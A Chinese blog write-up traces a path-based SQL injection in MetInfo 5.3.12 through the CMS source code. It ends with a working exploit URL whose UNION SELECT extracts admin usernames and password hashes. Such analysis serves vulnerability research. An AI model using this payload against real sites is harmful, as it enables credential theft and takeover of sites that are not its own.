MetInfo 5.3.12 注入漏洞
- 发表于
- Vulndb
最新版尝试通过,具体的版本为5.3.12
这是一个比较老的漏洞了,不知道为什么,metinfo 还是没有修复,网上的介绍都比较简单,我这里就详细的解释一下
\app\system\include\compatible\metv5_top.php
1 2 3 4 5 6 |
//获取当前应用栏目信息 $PHP_SELF = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME']; $PHP_SELFs = explode('/', $PHP_SELF); print_r($PHP_SELFs); $query = "SELECT * FROM {$_M['table'][column]} where module!=0 and foldername = '{$PHP_SELFs[count($PHP_SELFs)-2]}' and lang='{$_M['lang']}'"; $column = DB::get_one($query); |
这里调用了 $_SERVER[‘SCRIPT_NAME’] 去获取网站路径,但是这里有一个问题就是,路径中并没有waf 处理,可以导致一些安全问题,
代码里面就直接 explode 函数对路径进行了切割,这里取出了倒数第二个参数,并且未经过处理就带入了 sql 语句里面,
我们看看 这个文件的剩下的一些代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 |
$met_module = $column['module']; if($met_module > 1000){ //设置SEO参数 switch($_M['config']['met_title_type']){ case 0: $webtitle = ''; break; case 1: $webtitle = $_M['config']['met_keywords']; break; case 2: $webtitle = $_M['config']['met_webname']; break; case 3: $webtitle = $_M['config']['met_keywords'].'-'.$_M['config']['met_webname']; } $met_title = $webtitle; $met_title = $met_title?$column['name'].'-'.$met_title:$column['name']; $met_title = $column['ctitle'] ? $column['ctitle'] : $met_title; $show['description']=$column['description']?$column['description']:$_M['config']['met_description']; $show['keywords']=$column['keywords']?$column['keywords']:$_M['config']['met_keywords']; $met_module = $column['module']; $classnow = $column['id']; $class1 = $column['id']; if($column['releclass']){ $class1 = $column['bigclass']; } }else{ if(!$class1 && !$class2 && !$class3 && !$metid){ //$classnow = $column['id']; $class1 = $column['id']; if($column['releclass']){ $class1 = $column['bigclass']; } } } //设置网站根 define('ROOTPATH', PATH_WEB); function is_letf_exists($left){ global $_M; //$left = array('sidebar'); $file = PATH_TEM.$left; if(file_exists($file.'.php')||file_exists($file.'.html')){ return true; } return false; } //把$_M数组,DB转换成旧系统变量写法 foreach($_M['config'] as $key => $val){ $$key=$val; } foreach($_M['table'] as $key => $val){ $k="met_{$key}"; $$k=$val; } foreach($_M['word'] as $key => $val){ $k="lang_{$key}"; $$k=$val; } $lang=$_M['lang']; $db = new DB(); //global $index_url,$lang_home,$nav_list,$nav_list2,$nav_list3,$navdown,$lang; //页面模板参数设置 $met_chtmtype=".".$met_htmtype; $met_htmtype=($lang==$met_index_type)?".".$met_htmtype:"_".$lang.".".$met_htmtype; $langmark='lang='.$_M['lang']; $met_langadmin=$_M['langlist']['admin']; $met_langok=$_M['langlist']['web']; $index_url=$_M['langlist']['web'][$_M['lang']]['met_weburl']; $m_now_year = date('Y'); $member_index_url="index.php?lang=".$lang; $member_register_url="register_include.php?lang=".$lang; //2.0 $index_c_url=$met_index_url[cn]; $index_e_url=$met_index_url[en]; $index_o_url=$met_index_url[other]; //2.0 $searchurl =$met_weburl."search/search.php?lang=".$lang; $file_basicname =PATH_WEB."lang/language_".$lang.".ini"; $file_name =PATH_WEB."templates/".$met_skin_user."/lang/language_".$lang.".ini"; $str=""; // //语言数组设置 foreach($met_langok as $key=>$val){ $indexmark=($val[mark]==$met_index_type)?"index.":"index_".$val[mark]."."; $val[met_weburl]=$val[met_weburl]<>""?$val[met_weburl]:$met_weburl; $val[met_htmtype]=$val[met_htmtype]<>""?$val[met_htmtype]:$met_htmtype; if($val[useok]){ $met_index_url[$val[mark]]=$val[met_webhtm]?$val[met_weburl].$indexmark.$val[met_htmtype]:$val[met_weburl]."index.php?lang=".$val[mark]; if($val[met_webhtm]==3)$met_index_url[$val['mark']] = $val['met_weburl'].'index-'.$val['mark'].'.html'; if($htmpack){ $navurls = $index=='index'?'':'../'; $met_index_url[$val['mark']]=$navurls.$indexmark.$val['met_htmtype']; } if($val[mark]==$met_index_type)$met_index_url[$val[mark]]=$val[met_weburl]; if($htmpack && $val[mark]==$met_index_type){ $met_index_url[$val[mark]]=$navurls; } if($val[link]!="")$met_index_url[$val[mark]]=$val[link]; if(!strstr($val[flag], 'http://')){ $navurls = $index=='index'?'':'../'; if($index=="index"&&strstr($val[flag], '../')){ $met_langlogoarray=explode("../",$val[flag]); $val[flag]=$met_langlogoarray[1]; } if(!strstr($val[flag], 'http://')&&!strstr($val[flag], 'public/images/flag/'))$val[flag]=$navurls.'public/images/flag/'.$val[flag]; } $met_langok[$val[mark]]=$val; } } $tmpincfile=PATH_WEB."templates/{$_M[config][met_skin_user]}/metinfo.inc.php"; require $tmpincfile; //flash设置数组 $met_flasharray = $_M['flashset']; $m_now_time = time(); $m_now_date = date('Y-m-d H:i:s',$m_now_time); $m_now_counter = date('Ymd',$m_now_time); $m_now_month = date('Ym',$m_now_time); $m_now_year = date('Y',$m_now_time); //公用数据处理文件与模板标签文件处理 if($met_module && $met_module > 1000){ require_once PATH_WEB.'include/head.php'; } //把上面赋值的变量与数组转成全局数组 $vars2=array_keys(get_defined_vars()); $a2=get_defined_vars(); foreach($vars2 as $key => $val){ global $$val; $$val=$a2[$val]; } //dump($_M['form']); //echo $metid; if($met_module && $met_module < 1000){ if(isset($murlid)){ require_once PATH_WEB.'include/htmlurl.php'; } if($metid){ global $filpy,$fmodule,$cmodule; require PATH_WEB."include/module.php"; } if($met_module == 3){ if(M_CLASS == 'product_show'){ $mdname = 'product'; $showname = 'showproduct'; $dbname = $met_product; $listnum = $met_product_list; $imgproduct = 'product'; require_once PATH_WEB.'/include/global/showmod.php'; $product = $news; $product_list_new = $md_list_new; $product_class_new = $md_class_new; $product_list_com = $md_list_com; $product_class_com = $md_class_com; $product_class = $md_class; $product_list = $md_list; require_once PATH_WEB.'public/php/producthtml.inc.php'; }else{ $mdname = 'product'; $showname = 'showproduct'; $dbname = $met_product; $dbname_list = $met_product_list; $mdmendy = 1; $imgproduct = 'product'; $class1re = ''; require_once PATH_WEB."include/global/listmod.php"; $product_listnow = $modlistnow; $product_list_new = $md_list_new; $product_class_new = $md_class_new; $product_list_com = $md_list_com; $product_class_com = $md_class_com; $product_class = $md_class; $product_list = $md_list; require_once PATH_WEB.'public/php/producthtml.inc.php'; } } } require_once PATH_WEB."public/php/methtml.inc.php"; if(!function_exists('rgb2hex')){ require_once PATH_WEB."public/php/waphtml.inc.php"; function toHex($N) { if ($N==NULL) return "00"; if ($N==0) return "00"; $N=max(0,$N); $N=min($N,255); $N=round($N); $string = "0123456789ABCDEF"; $val = (($N-$N%16)/16); $s1 = $string{$val}; $val = ($N%16); $s2 = $string{$val}; return $s1.$s2; } function rgb2hex($r,$g,$b){ return toHex($r).toHex($g).toHex($b); } function hex2rgb($N){ $dou = str_split($N,2); return array( "R" => hexdec($dou[0]), "G" => hexdec($dou[1]), "B" => hexdec($dou[2]) ); } } //页面内容区块顶部导航处理,左侧导航调用系统时候生效,自定义无效。 if($met_module && $met_module > 1000){ if($class_list[$classnow]['releclass']){ $pre_class = $class_list[$classnow]['bigclass']; //dump($class_list[$classnow]); if($class_list[$pre_class][new_windows] == 0)$class_list[$pre_class][new_windows] = '_self'; $nav_x[name]="<a href=\"{$class_list[$pre_class][url]}\" target=\"{$class_list[$pre_class][new_windows]}\">{$class_list[$pre_class][name]}</a> > "; } $nav_x[name].="<a href=\"{$class_list[$classnow][url]}\" target=\"{$class_list[$classnow][new_windows]}\">{$class_list[$classnow][name]}</a>"; } //把上面赋值的变量与数组转成全局数组 $vars3=array_keys(get_defined_vars()); $a3=get_defined_vars(); foreach($vars3 as $key => $val){ if(!isset($a2[$val])){ global $$val; $$val=$a3[$val]; } } $met_title = $_M['plugin']['para']['met_title'] ? $_M['plugin']['para']['met_title'] : $met_title; $show['description'] = $_M['plugin']['para']['met_description'] ? $_M['plugin']['para']['met_description'] : $show['description']; $show['keywords'] = $_M['plugin']['para']['met_keywords'] ? $_M['plugin']['para']['met_keywords'] : $show['keywords']; # This program is an open source system, commercial use, please consciously to purchase commercial license. # Copyright (C) MetInfo Co., Ltd. (http://www.metinfo.cn). All rights reserved. |
这里将数据库查询获取的参数写入了系统变量,并且我们看里面重要的的代码
1 2 3 4 |
//公用数据处理文件与模板标签文件处理 if($met_module && $met_module > 1000){ require_once PATH_WEB.'include/head.php'; } |
最后调用了一 \app\system\web\user\templates\met\head.php
1 2 3 4 5 6 7 8 9 10 |
<html> <head> <meta charset="utf-8" /> <title>{$_M['tem_data']['title']}</title> <meta name="renderer" content="webkit"> <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> <meta content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0" name="viewport" /> <meta name="generator" content="MetInfo" data-variable="{$_M[url][site]}|{$_M[lang]}|{$classnow}|{$id}|{$class_list[$classnow][module]}|{$_M[config][met_skin_user]}" /> <link href="{$_M['url']['site']}favicon.ico" rel="shortcut icon" /> <link rel="stylesheet" type="text/css" href="{$_M['url']['pub']}bootstrap/css/bootstrap.min.css" /> |
这里的 data-variable=”{$_M[url][site]}|{$_M[lang]}|{$classnow}|{$id}|{$class_list[$classnow][module]}|{$_M[config][met_skin_user]}”就是
将系统参数写入网页head头了,所以我们可以看见回显,下面只用找到一个点包含这个文件,就完成了触发了
我们来看一个漏洞的触发点
\member\login.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
<?php # MetInfo Enterprise Content Management System # Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved. //接口 if(@!$_GET['a'])$_GET['a']="doindex"; @define('M_NAME', 'user'); @define('M_MODULE', 'web'); @define('M_CLASS', 'login'); @define('M_ACTION', $_GET['a']); require_once '../app/system/entrance.php'; # This program is an open source system, commercial use, please consciously to purchase commercial license. # Copyright (C) MetInfo Co., Ltd. (http://www.metinfo.cn). All rights reserved. ?> |
继续跟进 \app\system\entrance.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 |
<?php # MetInfo Enterprise Content Management System # Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved. //版本号 define ('SYS_VER', 'beta 1.101'); define ('SYS_VER_TIME', '20150511'); header("Content-type: text/html;charset=utf-8"); error_reporting(E_ERROR | E_PARSE | E_CORE_ERROR |E_COMPILE_ERROR | E_USER_ERROR ); //error_reporting(E_ALL); PHP_VERSION >= '5.1' && date_default_timezone_set('Asia/Shanghai'); @set_time_limit(0); define('IN_MET', true); //网站根目录 define ('PATH_WEB', substr(dirname(__FILE__),0,-10)); //应用开发包根目录 define ('PATH_APP', PATH_WEB."app/"); //应用文件根目录 define ('PATH_ALL_APP', PATH_WEB."app/app/"); //配置文件根目录 define ('PATH_CONFIG', PATH_WEB."config/"); //缓存文件根目录 define ('PATH_CACHE', PATH_WEB."cache/"); //应用开发框架内核根目录 define ('PATH_SYS', PATH_APP."system/"); //系统类根目录 define ('PATH_SYS_CLASS', PATH_WEB."app/system/include/class/"); //系统方法根目录 define ('PATH_SYS_FUNC', PATH_WEB."app/system/include/function/"); //系统模板公用文件根目录 define ('PATH_SYS_PUBLIC', PATH_WEB."app/system/include/public/"); //系统模块根目录 define ('PATH_SYS_MODULE', PATH_WEB."app/system/include/module/"); if (!defined('M_TYPE')) { if(file_exists(PATH_APP.'app/'.M_NAME.'/')&&M_NAME){ define('M_TYPE', 'app'); }else{ define('M_TYPE', 'system'); } } if (!defined('M_MODULE')) { define ('M_MODULE', 'include'); define ('M_CLASS', $_GET['c']); define ('M_ACTION', $_GET['a']); } //当前文件夹地址 if(M_TYPE == 'system'){ if(M_MODULE == 'include'){ define ('PATH_OWN_FILE', PATH_APP.M_TYPE.'/'.M_MODULE.'/module/'); }else{ define ('PATH_OWN_FILE', PATH_APP.M_TYPE.'/'.M_MODULE.'/'.M_NAME.'/'); } }else{ define ('PATH_OWN_FILE', PATH_APP.M_TYPE.'/'.M_NAME.'/'.M_MODULE.'/'); define ('PATH_APP_FILE', PATH_APP.M_TYPE.'/'.M_NAME.'/'); } define ('PATH_MODULE_FILE', PATH_APP.'system'.'/'.M_MODULE.'/'); //程序运行开始时间 define ('TIME_SYS_START', time()); //表单变量自动过滤 define ('MAGIC_QUOTES_GPC', get_magic_quotes_gpc()); //当前访问的主机名 define ('HTTP_HOST', $_SERVER['HTTP_HOST']); //来源页面 define('HTTP_REFERER', $_SERVER['HTTP_REFERER']); //脚本路径 define ('PHP_SELF', $_SERVER['PHP_SELF']=="" ? $_SERVER['SCRIPT_NAME'] : $_SERVER['PHP_SELF']); if (!preg_match('/^[A-Za-z0-9_]+$/', M_TYPE.M_NAME.M_MODULE.M_CLASS.M_ACTION)) { echo 'Constants must be numbers or letters or underlined'; die(); } require_once PATH_SYS_CLASS.'load.class.php'; load::module(); # This program is an open source system, commercial use, please consciously to purchase commercial license. # Copyright (C) MetInfo Co., Ltd. (http://www.metinfo.cn). All rights reserved. ?> |
继续跟进 load::module() \app\system\include\class\load.class.php
1 2 3 4 5 6 7 8 9 10 |
public static function module($path = '', $modulename = '', $action = '') { if (!$path) { if (!$path) $path = PATH_OWN_FILE; if (!$modulename) $modulename = M_CLASS; if (!$action) $action = M_ACTION; if (!$action) $action = 'doindex'; } return self::_load_class($path, $modulename, $action); } |
跟进 _load_class()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 |
private static function _load_class($path, $classname, $action = '') { $classname=str_replace('.class.php', '', $classname); $is_myclass = 0; if(!self::$mclass[$classname]){ if(file_exists($path.$classname.'.class.php')){ require_once $path.$classname.'.class.php'; } else { echo str_replace(PATH_WEB, '', $path).$classname.'.class.php is not exists'; exit; } $myclass = "my_{$classname}"; if (file_exists($path.'myclass/'.$myclass.'.class.php')) { $is_myclass = 1; require_once $path.'myclass/'.$myclass.'.class.php'; } } if ($action) { if (!class_exists($classname)) { die($action.' class\'s file is not exists!!!'); } if(self::$mclass[$classname]){ $newclass = self::$mclass[$classname]; }else{ if($is_myclass){ $newclass = new $myclass; }else{ $newclass = new $classname; } self::$mclass[$classname] = $newclass; } if ($action!='new') { if(substr($action, 0, 2) != 'do'){ die($action.' function no permission load!!!'); } if(method_exists($newclass, $action)){ //var_dump($action); //var_dump($newclass); call_user_func(array($newclass, $action)); }else{ die($action.' function is not exists!!!'); } } return $newclass; } return true; } |
这里的代码先就是基础的赋值这些的,最重要的是 call_user_func(array($newclass, $action)); 这行代码,里面的值我打印出来了 如下图
call_user_func 函数可以实例化 且 调用你传入的方法,也可以传参,这里只是实例化后调用方法,我们继续
\app\system\web\user\login.class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
public function doindex() { global $_M; $session = load::sys_class('session', 'new'); // 如果已登录直接跳转到个人中心 if($_M['user']) { okinfo($_M['url']['user_home']); } // 如果从其他页面过来 if(isset($_SERVER['HTTP_REFERER'])) { // 是否从本站过来 $referer = parse_url($_SERVER['HTTP_REFERER']); if($referer['host']==$_SERVER['HTTP_HOST']) { // 来源页面保存到cookie setcookie("referer",$_SERVER['HTTP_REFERER']); } } if($session->get("logineorrorlength")>3)$code=1; require_once $this->template('tem/login'); } |
我们继续跟进最后一串代码 require_once $this->template(‘tem/login’);
\app\system\web\user\class\userweb.class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 |
protected function template($path){ global $_M; list($postion, $file) = explode('/',$path); if ($postion == 'own') { return PATH_OWN_FILE."templates/met/{$file}.php"; } if ($postion == 'ui') { return PATH_SYS."include/public/ui/web/{$file}.php"; } if($postion == 'tem'){ if($_M['custom_template']['sys_content']){ $flag = 1; }else{ $flag = 0; } if (file_exists(PATH_TEM."user/{$file}.php")) { $_M['custom_template']['sys_content'] = PATH_TEM."user/{$file}.php"; }else{ if (file_exists(PATH_SYS."web/user/templates/met/{$file}.php")) { $_M['custom_template']['sys_content'] = PATH_SYS."web/user/templates/met/{$file}.php"; } } if($flag == 1){ return $_M['custom_template']['sys_content']; }else{ return $this->template('ui/compatible'); } } } |
最后返回了 \app\system\include\public\ui\web\compatible.php 文件的路径 , 在上面的login.class.php 的代码里完成了包含,
\app\system\include\public\ui\web\compatible.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
<?php # MetInfo Enterprise Content Management System # Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved. defined('IN_MET') or exit('No permission'); /*兼容标签*/ require_once PATH_WEB.'app/system/include/compatible/metv5_top.php'; require_once $_M['custom_template']['sys_content']; # This program is an open source system, commercial use, please consciously to purchase commercial license. # Copyright (C) MetInfo Co., Ltd. (http://www.metinfo.cn). All rights reserved. ?> |
哈哈 ,这里就包含了我们最开始的漏洞点 metv5_top.php,也就是我们控制路径传入的值,就会造成注入了
exp:
1 |
http://127.0.0.1:82/MetInfo5.3/member/login.php/aa'UNION SELECT (select concat(admin_id,0x23,admin_pass) from met_admin_table limit 1),2,3,4,5,6,1111,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29%23/aa |
右键查看源码就可以看见结果了
原文连接
的情况下转载,若非则不得使用我方内容。